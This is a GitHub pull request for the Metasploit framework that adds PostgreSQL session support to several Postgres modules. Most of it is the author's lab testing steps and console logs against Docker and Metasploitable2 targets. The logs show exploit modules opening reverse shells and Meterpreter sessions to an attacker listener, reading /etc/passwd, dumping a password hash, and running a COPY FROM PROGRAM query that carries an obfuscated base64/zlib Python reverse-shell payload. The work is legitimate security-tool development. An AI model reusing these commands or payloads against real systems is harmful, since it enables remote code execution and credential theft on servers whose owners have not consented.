Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use PostgreSQL session type for Postgres modules #18706

Conversation

sjanusz-r7
Copy link
Contributor

@sjanusz-r7 sjanusz-r7 commented Jan 15, 2024

This PR is a continuation of #18663.

This PR changes over Postgres modules so that they are able to target an RHOST/RHOSTS or a PostgreSQL session.

For testing of this PR, I recommend setting up a Metasploitable2 VM which runs Postgres 8.3.1, Docker using postgres:16 or postgres:16.1 (latest as of this PR), and 9.2.3 (needs a custom Dockerfile setup, described below).

Overview

Module Name Working RHOST + RPORT Working SESSION PostgreSQL Version Docker/Metasploitable2 VM
Postgres Login N/A 16.1 & 8.3.1 🐳 & 🖥️
Postgres Create Language 16.1 🐳
Postgres Read File 16.1 🐳
Postgres SQL 16.1 🐳
Postgres Version 16.1 🐳
Postgres Payload 16.1 & 8.3.1 🐳 & 🖥️
Postgres Hashdump 16.1 & 8.3.1 🐳 & 🖥️
Postgres Schemadump ✅ (Dumps only current DB) 16.1 🐳
Postgres Copy From Program CMD Exec 16.1 (8.3.1 is NOT vulnerable as it is too old) 🐳
Postgres DB Name Command Line Flag Injection N/A 9.2.3 🐳 - Custom

Setup

Docker - Postgres 16/16.x

  • Docker container setup:
docker run -it --rm -p 5432:5432 -e POSTGRES_PASSWORD=password postgres:16
  • Enable the PostgreSQL session type in msfconsole:
features set postgresql_session_type true
save
exit
bundle exec './msfconsole -q'

Docker - Postgres 9.2.3

  • Download the Dockerfile and entrypoint for a semi-old Postgres container:
mkdir /tmp && cd /tmp
curl https://raw.githubusercontent.com/vulhub/vulhub/master/base/postgres/9.6.7/Dockerfile -o ./Dockerfile
curl https://raw.githubusercontent.com/vulhub/vulhub/master/base/postgres/9.6.7/docker-entrypoint.sh -o ./docker-entrypoint.sh
  • Change the Dockerfile to use a version vulnerable to auxiliary/scanner/postgres/postgres_dbname_flag_injection (all the previous versions are present here):
...
ENV PG_MAJOR 9.2
ENV PG_VERSION 9.2.3
#ENV PG_SHA256 2ebe3df3c1d1eab78023bdc3ffa55a154aa84300416b075ef996598d78a624c6
...
  • Change the Dockerfile wget calls to not use certificates (they're out of date):
...
&& wget --no-check-certificate -O postgresql.tar.bz2 "https://ftp.postgresql.org/pub/source/v$PG_VERSION/postgresql-$PG_VERSION.tar.bz2" \
...
&& wget --no-check-certificate -O config/config.guess 'https://git.savannah.gnu.org/cgit/config.git/plain/config.guess?id=7d3d27baf8107b630586c962c057e22149653deb' \  
&& wget --no-check-certificate -O config/config.sub 'https://git.savannah.gnu.org/cgit/config.git/plain/config.sub?id=7d3d27baf8107b630586c962c057e22149653deb' \
...
  • Change the Dockerfile to disable sha checksum:
...
#   && echo "$PG_SHA256 *postgresql.tar.bz2" | sha256sum -c - \
...
  • Add execute permissions to docker-entrypoint.sh:
chmod u+x ./docker-entrypoint.sh
  • Build and run the container with a specified password, setting the port to whatever suits you. Set the tag to whatever you'd like, I used 9.2.3 as that's the version we used, but you can use latest or anything else:
docker build -t vuln-postgres:9.2.3 -f Dockerfile . && docker run -v -it -p 6543:5432 -e POSTGRES_PASSWORD=password vuln-postgres:9.2.3

Metasploitable2 VM

  • Set up the Metasploitable2 VM following the instructions here.

Verification

Follow the testing steps in the comment below.

  • Start msfconsole
  • Ensure the changed modules work against an RHOST & RPORT, as well as a session.

@sjanusz-r7 sjanusz-r7 added the blocked Blocked by one or more additional tasks label Jan 15, 2024
@sjanusz-r7
Copy link
Contributor Author

Testing Steps And Outputs Pt. 1

exploit/multi/postgres/postgres_createlang

In Docker docker run -it -p 5432:5432 -e POSTGRES_PASSWORD=password postgres:16, or a named Docker container (you need to make changes, then restart the same container. Re-running the docker run command will result in a brand new container):

apt update && apt install curl bash python3 postgresql-plpython3-16

RHOST + RPORT

use exploit/multi/postgres/postgres_createlang
unset session
set payload=cmd/unix/reverse_python
run rhost=127.0.0.1 rport=5432 PythonPath=python3 shell='/bin/bash' lhost=192.168.x.x lport=4444 database=template1

Output:

msf6 exploit(multi/postgres/postgres_createlang) > run rhost=127.0.0.1 rport=5432 PythonPath=python3

[*] Started reverse TCP handler on 192.168.1.149:4444
[*] 127.0.0.1:5432 - Currently targeting: RHOST and RPORT
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - perl could not be loaded
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python could not be loaded
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - python2 could not be loaded
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - python3 is already loaded, continuing
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - Loaded UDF (exec_hMmaGqzWMt)
[*] Command shell session 2 opened (192.168.1.149:4444 -> 192.168.1.149:54202) at 2024-01-10 10:41:38 +0000
[!] 127.0.0.1:5432 - Timed out. The function was potentially executed.
[!] 127.0.0.1:5432 - Please clear extension [python3]: function [hMmaGqzWMt] manually

^Z
Background session 2? [y/N]  y

Session Type

In Console:

use exploit/multi/postgres/postgres_createlang
unset rhosts
unset rport
set payload=cmd/unix/reverse_python
run session=-1 PythonPath=python3 shell='/bin/bash' lhost=192.168.x.x lport=4444

Output:

msf6 exploit(multi/postgres/postgres_createlang) > run session=-1 PythonPath=python3

[*] Started reverse TCP handler on 192.168.1.149:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[!]  * Unknown session platform
[*] Currently targeting: session
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - perl could not be loaded
[*] 127.0.0.1:5432 - python could not be loaded
[*] 127.0.0.1:5432 - python2 could not be loaded
[+] 127.0.0.1:5432 - python3 is already loaded, continuing
[+] 127.0.0.1:5432 - Loaded UDF (exec_mfHRLnZbPe)
[*] Command shell session 3 opened (192.168.1.149:4444 -> 192.168.1.149:54214) at 2024-01-10 10:43:18 +0000
[!] Timed out. The function was potentially executed.
[!] Please clear extension [python3]: function [mfHRLnZbPe] manually

id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
^C
Abort session 3? [y/N]  y

[*] 192.168.1.149 - Command shell session 3 closed.  Reason: User exit

When getting a session, press Ctrl + Z to background the session.
Then you can run sessions -u -1 to upgrade the CMD session to Meterpreter.

auxiliary/admin/postgres/postgres_readfile

RHOST + RPORT

use auxiliary/admin/postgres/postgres_readfile
unset session
run rhost=127.0.0.1 rport=5432 password=password username=postgres database=template1

Output:

msf6 auxiliary(admin/postgres/postgres_readfile) > run rhost=127.0.0.1 rport=5432 password=password username=postgres
[*] Running module against 127.0.0.1

Query Text: 'CREATE TEMP TABLE AnOaYn (INPUT TEXT);
      COPY AnOaYn FROM '/etc/passwd';
      SELECT * FROM AnOaYn'
=====================================================================================================================

    input
    -----
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    postgres:x:999:999::/var/lib/postgresql:/bin/bash
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    root:x:0:0:root:/root:/bin/bash
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
[+] 127.0.0.1:5432 Postgres - /etc/passwd saved in /Users/sjanusz/.msf4/loot/20240110110209_default_127.0.0.1_postgres.file_194977.txt
[*] Auxiliary module execution completed

Session Type

use auxiliary/admin/postgres/postgres_readfile
unset rhosts
unset rport
run session=-1

Output:

msf6 auxiliary(admin/postgres/postgres_readfile) > run session=-1

Query Text: 'CREATE TEMP TABLE whuxubtNlKQI (INPUT TEXT);
      COPY whuxubtNlKQI FROM '/etc/passwd';
      SELECT * FROM whuxubtNlKQI'
=======================================================================================================================================

    input
    -----
    _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    postgres:x:999:999::/var/lib/postgresql:/bin/bash
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    root:x:0:0:root:/root:/bin/bash
    sync:x:4:65534:sync:/bin:/bin/sync
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
postgres:x:999:999::/var/lib/postgresql:/bin/bash
[+] 127.0.0.1:5432 Postgres - /etc/passwd saved in /Users/sjanusz/.msf4/loot/20240110110042_default_127.0.0.1_postgres.file_659917.txt
[*] Auxiliary module execution completed

auxiliary/admin/postgres/postgres_sql

RHOST + RPORT

run username=postgres rhost=127.0.0.1 rport=5432 password=password database=template1

Output:

msf6 auxiliary(admin/postgres/postgres_sql) > run rhost=127.0.0.1 rport=5432 password=password username=postgres database=template1
[*] Running module against 127.0.0.1

Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

[*] Auxiliary module execution completed

Session Type

run session=-1

Output:

msf6 auxiliary(admin/postgres/postgres_sql) > run session=-1

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: PostgreSQL
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

[*] Auxiliary module execution completed

auxiliary/scanner/postgres/postgres_version

RHOST + RPORT

run rhosts=127.0.0.1 rport=5432 database=template1 username=postgres password=password

Output:

msf6 auxiliary(scanner/postgres/postgres_version) > run rhost=127.0.0.1 rport=5432 database=template1 username=postgres password=password

[*] 127.0.0.1:5432 Postgres - Version PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

It wouldn't make much sense for this to be ran against a session; there are other ways of getting this functionality already, such as session.client.params object already having the version received from the server, the postgres_sql module, and you can also session -i and query 'select version()'.

exploit/linux/postgres/postgres_payload

This is done against a Metasploitable2 VM as well as the Docker container.

Metasploitable2 VM:

For the Metasploitable2 VM, use the Linux x86 target as the VM is 32-bit.

msf6 exploit(linux/postgres/postgres_payload) > search postgres_payload

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/linux/postgres/postgres_payload    2007-06-05       excellent  Yes    PostgreSQL for Linux Payload Execution
   1    \_ target: Linux x86                     .                .          .      .
   2    \_ target: Linux x86_64                  .                .          .      .
   3  exploit/windows/postgres/postgres_payload  2009-04-10       excellent  Yes    PostgreSQL for Microsoft Windows Payload Execution
   4    \_ target: Windows x86                   .                .          .      .
   5    \_ target: Windows x64                   .                .          .      .


Interact with a module by name or index. For example info 5, use 5 or use exploit/windows/postgres/postgres_payload
After interacting with a module you can manually set a TARGET with set TARGET 'Windows x64'

msf6 exploit(linux/postgres/postgres_payload) > use 1
[*] Additionally setting TARGET => Linux x86
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

RHOST + RPORT

run username=postgres database=template1 rport=5432 password=postgres rhost=192.168.x.x lhost=192.168.x.1

Output:

msf6 exploit(linux/postgres/postgres_payload) > run password=postgres rhost=192.168.x.x lhost=192.168.x.1

[*] Started reverse TCP handler on 192.168.x.1:4444
[*] 192.168.x.x:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/CKKLKcsB.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.x.x
[*] Meterpreter session 2 opened (192.168.x.1:4444 -> 192.168.x.x:40048) at 2024-01-10 15:02:26 +0000

meterpreter > exit
[*] Shutting down session: 2

[*] 192.168.x.x - Meterpreter session 2 closed.  Reason: User exit

SESSION

msf6 auxiliary(scanner/postgres/postgres_login) > run rhosts=192.168.x.x password=postgres username=postgres database=template1

[+] 192.168.x.x:5432 - Login Successful: postgres:postgres@template1
[*] PostgreSQL session 3 opened (192.168.x.1:56506 -> 192.168.x.x:5432) at 2024-01-10 15:04:04 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Then run the exploit:

msf6 exploit(linux/postgres/postgres_payload) > run session=-1 lhost=192.168.x.1

[*] Started reverse TCP handler on 192.168.x.1:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform
[*] 192.168.x.x:192.168.x.x - connected
[*] Uploaded as /tmp/lfAVpvfL.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.x.x
[*] Meterpreter session 6 opened (192.168.x.1:4444 -> 192.168.x.x:34143) at 2024-01-10 15:09:39 +0000

meterpreter > bg
[*] Backgrounding session 6...

Docker:
For the Docker container, use the Linux x86_64 as it's 64-bit.

RHOST + RPORT

msf6 exploit(linux/postgres/postgres_payload) > run rhost=127.0.0.1 rport=5432 database=template1 password=password username=postgres lhost=192.168.112.1

[*] Started reverse TCP handler on 192.168.112.1:4444
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] Uploaded as /tmp/OzHObjHg.so, should be cleaned up automatically
[*] Sending stage (3045380 bytes) to 192.168.112.1
[*] Meterpreter session 5 opened (192.168.112.1:4444 -> 192.168.112.1:61686) at 2024-01-11 10:34:17 +0000

meterpreter > getuid
Server username: postgres
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 12.1 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

SESSION

msf6 exploit(linux/postgres/postgres_payload) > run session=1 lhost=192.168.112.1

[*] Started reverse TCP handler on 192.168.112.1:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform
[*] 127.0.0.1:127.0.0.1 - connected
[*] Uploaded as /tmp/MkFLSVZK.so, should be cleaned up automatically
[*] Sending stage (3045380 bytes) to 192.168.112.1
[*] Meterpreter session 6 opened (192.168.112.1:4444 -> 192.168.112.1:61693) at 2024-01-11 10:35:07 +0000

meterpreter > getuid
Server username: postgres
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 12.1 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@sjanusz-r7
Copy link
Contributor Author

sjanusz-r7 commented Jan 15, 2024

Testing Steps And Outputs Pt. 2

auxiliary/scanner/postgres/postgres_hashdump

RHOST + RPORT

run database=template1 rhost=192.168.x.x rport=5432 username=postgres password=postgres

Metasploitable2 VM Output:

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run rhost=192.168.x.x rport=5432 password=postgres username=postgres database=template1

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Docker Output:

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run rhost=127.0.0.1 rport=5432 password=password username=postgres database=template1

[+] Query appears to have run successfully
[*] Error: 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Data is not in Postgres MD5 Hash format
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION

Metasploitable2 VM Output:
Getting a session:

msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=192.168.112.178 rport=5432 database=template1 username=postgres password=postgres

[+] 192.168.112.178:5432 - Login Successful: postgres:postgres@template1
[*] PostgreSQL session 18 opened (192.168.112.1:56908 -> 192.168.112.178:5432) at 2024-01-10 15:45:17 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

List of sessions:

msf6 auxiliary(scanner/postgres/postgres_hashdump) > sessions

Active sessions
===============

  Id  Name  Type        Information                                 Connection
  --  ----  ----        -----------                                 ----------
  1         PostgreSQL  PostgreSQL postgres @ 127.0.0.1:5432        127.0.0.1:61621 -> 127.0.0.1:5432 (127.0.0.1)
  2         PostgreSQL  PostgreSQL postgres @ 192.168.112.178:5432  192.168.112.1:61624 -> 192.168.112.178:5432 (192.168.112.178)

Metasploitable2 VM Output:

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run session=2

[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Docker Output:

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run session=1

[+] Query appears to have run successfully
[*] Error: 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Data is not in Postgres MD5 Hash format
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

multi/postgres/postgres_copy_from_program_cmd_exec

For this module, the UNIX target defaults to using Perl. I haven't checked if this is available, but I do know that since one of the previous modules required Python, we have Python (Python3) installed. Therefore, call:

set payload cmd/unix/python/shell_reverse_tcp

Metasploitable2 VM is not vulnerable to this exploit as it's too old, surprisingly. This exploit relies on a feature introduced in Postgres 9. This is ran against Docker only.

RHOST + RPORT

run rhost=127.0.0.1 rport=5432 database=template1 username=postgres password=password lhost=192.168.112.1 PythonPath=python3

Output:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run rhost=127.0.0.1 rport=5432 database=template1 username=postgres password=password lhost=192.168.112.1 PythonPath=python3

[*] Started reverse TCP handler on 192.168.112.1:4444
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - Exploiting...
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - RPA90TTc7 dropped successfully
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - RPA90TTc7 created successfully
[*] Command shell session 11 opened (192.168.112.1:4444 -> 192.168.112.1:65037) at 2024-01-11 16:47:59 +0000
[!] 127.0.0.1:5432 - 127.0.0.1:5432 - Unable to execute query: COPY "RPA90TTc7" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1rAyEQQM/6K7yt0q3EEEpa8BDKBkJpG5q9h41OiGSj4rjt3682e+hchjfz5sPdYkiZYTBXyGxAhtTNpekUUzCAWMuJYtAo7x5Hudkedx9d36I8fL6+HQ/9V7d5F0WSJngPJnPeqOelVE9rqVTJTbsqIQT9ubgRWJ8meKHE6jKRwHxztViuBCXuzEbw3AqtF6VPTgmGKyVRJ7kPsXakBRMs8GbK58d1I1q8wDjqurDFbJ2v6m7fVQhT/keQ0kzlUNBR3o1yf7BcPPxxcWampLyG4C0Pgv4CzfhcRg\=\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[!] 127.0.0.1:5432 - Timed out. The function was potentially executed.
[*] 127.0.0.1:5432 - Exploit Succeeded

id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

SESSION

run session=-1

Output:

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run session=-1

[*] Started reverse TCP handler on 192.168.1.149:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[!]  * Unknown session platform
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] Exploiting...
[+] 127.0.0.1:5432 - RPA90TTc7 dropped successfully
[+] 127.0.0.1:5432 - RPA90TTc7 created successfully
[*] Command shell session 16 opened (192.168.1.149:4444 -> 192.168.1.149:65123) at 2024-01-11 16:55:43 +0000
[!] 127.0.0.1:5432 - Unable to execute query: COPY "RPA90TTc7" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1rAyEQhs/6K7yt0q3EsJQk4CGUDYTSNjR7DxudkCUbFcdt/3612UPn9sz7zMdwDz4mht7cILEeGdJhbk3nEL0BxNKOFL1G+fA4yu3utP9ouxrl8fP17XTsvtrtu8iSNN45MInzSq2XUr2spJKqWVd1k0sI+nMdRmBdnGBDidV5IoL55mqxbAQlw4WN4LgVWi9yTs4R+hslQUd58KEk0oLxFng1pcvzqhI1XmEcdVlYY7KDK+r+0BbwU/pHEONM+ZDXQT6MfL+3XDz9cXZmpiS/huAs94L+AtVpXFA\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[!] Timed out. The function was potentially executed.
[*] Exploit Succeeded

id
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

auxiliary/scanner/postgres/postgres_dbname_flag_injection

This uses the Postgres 9.2.3 container mentioned in the PR description.

RHOST + RPORT

There is no exploit module for this, and likely won't be one. This is only tested with RHOST and RPORT values:

msf6 auxiliary(scanner/postgres/postgres_dbname_flag_injection) > run rhosts=127.0.0.1 rport=6543

[+] 127.0.0.1:6543        - 127.0.0.1:6543 is vulnerable to CVE-2013-1899: YSFATAL C42601 M--help requires a value Fpostgres.c L3426 Rprocess_postgres_switches
[*] 127.0.0.1:6543        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

For a session, you can call session -i and query 'select version()'. Then check if the returned value is a vulnerable version. 👍

auxiliary/scanner/postgres/postgres_schemadump

To test this, you need to do some manual setup initially. You need to add in some information to the Postgres target. This can be done with our session type 🎉, session -i session_id, then call:

query 'create database new_database'
query 'create database second_db'
query 'create database example_user_details'

Confirm you see them by running:

query 'SELECT datname FROM pg_database'

Create a new table in a database that you created (I picked user_details). This might be easier in the shell mode:

shell

And then:
Note: I forgot to mention that this will create the following table in the current database. Therefore this table will in our example show up under the postgres database.

SQL >> CREATE TABLE IF NOT EXISTS user_details (\
SQL *> user_id serial PRIMARY KEY,\
SQL *> username VARCHAR ( 50 ) UNIQUE NOT NULL,\
SQL *> password VARCHAR ( 50 ) NOT NULL,\
SQL *> email VARCHAR ( 255 ) UNIQUE NOT NULL,\
SQL *> created_on TIMESTAMP NOT NULL,\
SQL *> last_login TIMESTAMP\
SQL *> );
[*] Running SQL Command: 'CREATE TABLE IF NOT EXISTS user_details ( user_id serial PRIMARY KEY, username VARCHAR ( 50 ) UNIQUE NOT NULL, password VARCHAR ( 50 ) NOT NULL, email VARCHAR ( 255 ) UNIQUE NOT NULL, created_on TIMESTAMP NOT NULL, last_login TIMESTAMP );'

Create a new user that is not a superuser (pay attention to single vs. double quotes):

query "create user msfuser with password 'msfpassword'"

Confirm you see the new user:

query 'SELECT * FROM pg_catalog.pg_user;'

Also note, the postgres_copy_from_program_cmd_exec modules decides to create the tables in all existing databases. This can be verified by either the schemadump, or by using pgAdmin and:

  • Adding a new server by Right Click -> Register -> Server
  • Navigating to Servers -> your_new_server -> Databases -> database_name -> Schemas -> Public -> Tables
    I ran this module (postgres_schemadump) after I executed the postgres_copy_from_program_cmd_exec module, therefore there is some data that seems like it is duplicated, but multiple entries do exist.

RHOST + RPORT

run rhost=127.0.0.1 rport=5432 password=password username=postgres

Output:

msf6 auxiliary(scanner/postgres/postgres_schemadump) > run database=postgres rhost=127.0.0.1 rport=5432 username=postgres password=password

[*] 127.0.0.1:5432 - Found databases: postgres, new_database, template1, template0, second_db, example_user_details. Ignoring template1, template0.
[+] Postgres SQL Server Schema
 Host: 127.0.0.1
 Port: 5432
 ====================

---
- DBName: postgres **<-- Note: We created our user details table in this DB.**
  Tables:
  - TableName: user_details_user_id_seq
    Columns:
    - ColumnName: last_value
      ColumnType: int8
      ColumnLength: '8'
    - ColumnName: log_cnt
      ColumnType: int8
      ColumnLength: '8'
    - ColumnName: is_called
      ColumnType: bool
      ColumnLength: '1'
  - TableName: user_details
    Columns:
    - ColumnName: user_id
      ColumnType: int4
      ColumnLength: '4'
    - ColumnName: username
      ColumnType: varchar
      ColumnLength: "-1"
    - ColumnName: password
      ColumnType: varchar
      ColumnLength: "-1"
    - ColumnName: email
      ColumnType: varchar
      ColumnLength: "-1"
    - ColumnName: created_on
      ColumnType: timestamp
      ColumnLength: '8'
    - ColumnName: last_login
      ColumnType: timestamp
      ColumnLength: '8'
  - TableName: user_details_pkey
    Columns:
    - ColumnName: user_id
      ColumnType: int4
      ColumnLength: '4'
  - TableName: user_details_username_key
    Columns:
    - ColumnName: username
      ColumnType: varchar
      ColumnLength: "-1"
  - TableName: user_details_email_key
    Columns:
    - ColumnName: email
      ColumnType: varchar
      ColumnLength: "-1"
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"
- DBName: new_database
  Tables:
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"
- DBName: second_db
  Tables:
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"
- DBName: example_user_details
  Tables:
  - TableName: RPA90TTc7
    Columns:
    - ColumnName: filename
      ColumnType: text
      ColumnLength: "-1"

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION

msf6 auxiliary(scanner/postgres/postgres_schemadump) > run session=-1

[*] The module is running against the following session: 1
[+] Postgres SQL Server Schema
